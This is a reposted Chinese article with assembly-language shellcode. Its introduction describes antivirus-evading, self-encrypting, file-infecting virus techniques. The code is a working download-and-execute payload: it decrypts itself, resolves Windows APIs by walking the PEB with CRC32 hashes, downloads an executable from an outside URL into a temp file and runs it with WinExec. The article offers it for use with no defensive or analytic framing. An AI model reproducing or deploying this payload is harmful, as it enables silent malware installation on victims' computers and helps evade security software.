asm编写的只有268字节的shellcode[网络技术]
本文“asm编写的只有268字节的shellcode[网络技术]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:
作者:拉伸
具有文件传染,进口代码变形,自身加密,EPO等功效,无任何
特点码的病毒,计划目的是为抵挡反病毒软件的特点码杀毒、行为杀毒和虚拟机杀毒,现有代码
未供应任何破坏功效,但会主动传染可履行文件,并且被传染过的文件很难再复原,这点请注意
------很早从前的了------------
(code)
.486p
.model flat, stdcall
option casemap :none
;--------------------------------------------------------
CRC32 MACRO str
CRC_VALUE = 0ffffffffh
IRPC CRC_BYTE, str
CRC_VALUE = CRC_VALUE xor '&CRC_BYTE'
REPT 8
CRC_VALUE = (CRC_VALUE shr 1) xor ((CRC_VALUE and 1) * 0edb88320h)
ENDM
ENDM
CRC_VALUE = CRC_VALUE xor 0ffffffffh
dd (CRC_VALUE and 0ffffffffh)
ENDM
APIDEF MACRO sym
CRC32 sym
sym = [ebp + COUNT]
COUNT = COUNT + 4
ENDM
VARDEF MACRO sym, vw
sym = COUNT
COUNT = COUNT + vw
ENDM
STRDEF MACRO sym, str
local sss
sym = COUNT
sss:
db str, 0
COUNT = COUNT + ($ - sss)
ENDM
pushsz MACRO str
local pushstr
call pushstr
db str, 0
pushstr:
ENDM
;--------------------------------------------------------
.DATA
;****************************************************************************
; ???
;****************************************************************************
_ShellCodeStart:
jmp delta1
delta2:
pop ebp
xor ecx, ecx
mov cl, _ShellCodeEnd - EncryptDataStart
LoopCodeDecrypt:
xor byte ptr [ebp + ecx - 1], 0
loop LoopCodeDecrypt
jmp EncryptCodeStart
delta1:
call delta2
;--------------------------------------------------------
EncryptDataStart:
COUNT = 0
KNLAPILIST = COUNT
APIDEF ExitProcess
APIDEF GetTempFileNameA
APIDEF GetTempPathA
APIDEF LoadLibraryA
APIDEF WinExec
dd 00h ;ENDLIST
COUNT = COUNT + 4
URLAPILIST = COUNT
APIDEF URLDownloadToFileA
dd 00h ;ENDLIST
COUNT = COUNT + 4
STRDEF ExeUrl, "http://www.54rk.cn/1.exe"
; STRDEF UrlMon, "urlmon.dll"
;--------------------------------------------------------
EncryptCodeStart:
push 30h
pop esi
lods dword ptr fs:[esi] ;Peb
mov eax, [eax + 0ch] ;Ldr
mov esi, [eax + 1ch] ;InInitializationOrderModuleList
lodsd ;ntdll.dll
mov edx, [eax + 8] ;kernel32.dll
lea edi, [ebp + KNLAPILIST]
call GetApiAddressFromList ;查找需求的API地址
pushsz "urlmon.dll" ;lpLibFileName
call LoadLibraryA ;载入URLDownloadToFileA函数所在的DLL
xchg edx, eax
lea edi, [ebp + URLAPILIST]
call GetApiAddressFromList ;查找需求的API地址
xor ebx, ebx
mov edi, 260
sub esp, edi
push esp ;lpBuffer
push edi ;nBufferLength
call GetTempPathA ;获得暂时文件途径
mov eax, esp
sub esp, edi
push esp ;lpTempFileName
push ebx ;wUnique
push ebx ;lpPrefixString
push eax ;lpszPath
call GetTempFileNameA ;获得暂时文件名
mov eax, esp
push ebx ;lpfnCB
push ebx ;dwReserved
push eax ;szFileName
lea eax, [ebp + ExeUrl]
push eax ;szURL
push ebx ;pCaller
call URLDownloadToFileA ;下载指定文件
mov eax, esp
push ebx ;uCmdShow
push eax ;lpCmdLine
call WinExec ;履行下载的文件
push ebx ;uExitCode
call ExitProcess ;完毕进程
以上是“asm编写的只有268字节的shellcode[网络技术]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:
本文地址: | 与您的QQ/BBS好友分享! |